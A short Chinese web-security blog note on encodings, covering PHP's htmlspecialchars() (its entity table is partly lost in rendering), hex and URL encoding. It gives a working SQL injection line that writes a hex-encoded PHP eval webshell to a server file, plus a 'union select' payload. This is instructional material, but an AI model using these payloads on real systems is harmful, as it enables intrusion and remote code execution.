@websec007
2017-05-06T14:50:34.000000Z
字数 1081
阅读 2669
未分类
定义和用法
htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。
预定义的字符如下:
| 预定义字符 | 字符转换后 |
|---|---|
| & (和号) | &; |
| "(双引号) | "; |
| ' (单引号) | '; |
| < (小于) | <; |
| > (大于) | >; |
注意以上“;”是中文字符,用于使用英文字符会直接被html解析。
十六进制编码也是web application中常见的一种编码方案。作为一名web安全人员,我们心知肚明的是,MySQL注入可以使用hex绕过htmlspecialchars()函数从而写入webshell。
比如:
[SQL]select 0x3c3f70687020406576616c28245f504f53545b615d293b203f3e into outfile '/web/1.php'
下面是python实现hex加解密的方法:
[Python]>>> '<?php @eval($_POST[a]); ?>'.encode('hex')'3c3f70687020406576616c28245f504f53545b615d293b203f3e'>>> print '3c3f70687020406576616c28245f504f53545b615d293b203f3e'.decode('hex')<?php @eval($_POST[a]); ?>
url编码是一种浏览器用来打包表单输入的格式.可谓是一名作为web人员最熟悉的一种编码方式了。
[Python]# url 转码>>> from urllib import *>>> quote("union select null,null,null")'union%20select%20null%2Cnull%2Cnull'# url 解码>>> unquote("union%20select%20null%2Cnull%2Cnull")'union select null,null,null'# url 编码>>> urlencode({'x':'2333','y':'666'})'y=666&x=2333'
秒用python转码链接:http://mp.weixin.qq.com/s/YE-pYQ61tKvaGTGKq-FjMA
xss 自学学习好文链接:http://mp.weixin.qq.com/s/zbQ1gNjKOynMxqjnDBN3fQ
